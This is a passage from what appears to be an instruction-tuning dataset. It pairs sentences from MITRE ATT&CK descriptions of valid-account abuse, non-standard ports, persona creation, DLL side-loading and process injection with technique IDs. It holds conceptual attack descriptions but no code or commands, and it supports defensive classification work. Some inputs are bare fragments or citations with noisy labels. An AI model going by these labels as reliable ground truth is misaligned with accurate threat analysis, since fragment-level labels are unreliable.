MITRE techniques contained in the text.", "input": "Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation:", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110),", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create long lasting", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create long lasting ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such credentials may also be used to bypass security controls such as multi-factor authentication.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such credentials may also be used to bypass security controls such as multi-factor authentication. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft)", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain.", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using a protocol and port pairing that are typically not associated.", "output": "T1571", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using a protocol and port pairing that are typically not associated. ### Response: T1571."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.", "output": "T1571", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. ### Response: T1571."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", "output": "T1571", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. ### Response: T1571."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also make changes to victim systems to abuse non-standard ports.", "output": "T1571", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also make changes to victim systems to abuse non-standard ports. ### Response: T1571."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)", "output": "T1571", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti) ### Response: T1571."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate accounts with services that can be used during targeting.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate accounts with services that can be used during targeting. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create accounts that can be used to build a persona to further operations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create accounts that can be used to build a persona to further operations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.).", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona may require development of additional documentation to make them seem real.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona may require development of additional documentation to make them seem real. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate social media accounts that can be used during targeting.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate social media accounts that can be used during targeting. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create social media accounts that can be used to build a persona to further operations.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create social media accounts that can be used to build a persona to further operations. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of a persona on social media may be important.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of a persona on social media may be important. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.).", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona  on social media may require development of additional documentation to make them seem real.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona  on social media may require development of additional documentation to make them seem real. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a persona has been developed an adversary can use it to create connections to targets of interest.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a persona has been developed an adversary can use it to create connections to targets of interest. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs may specify DLLs that are loaded at runtime.", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs may specify DLLs that are loaded at runtime. ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded.", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded.", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Stewart 2014)", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Stewart 2014) ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "output": "T1073", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process. ### Response: T1073."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. ### Response: T1055.012."}{"instruction": 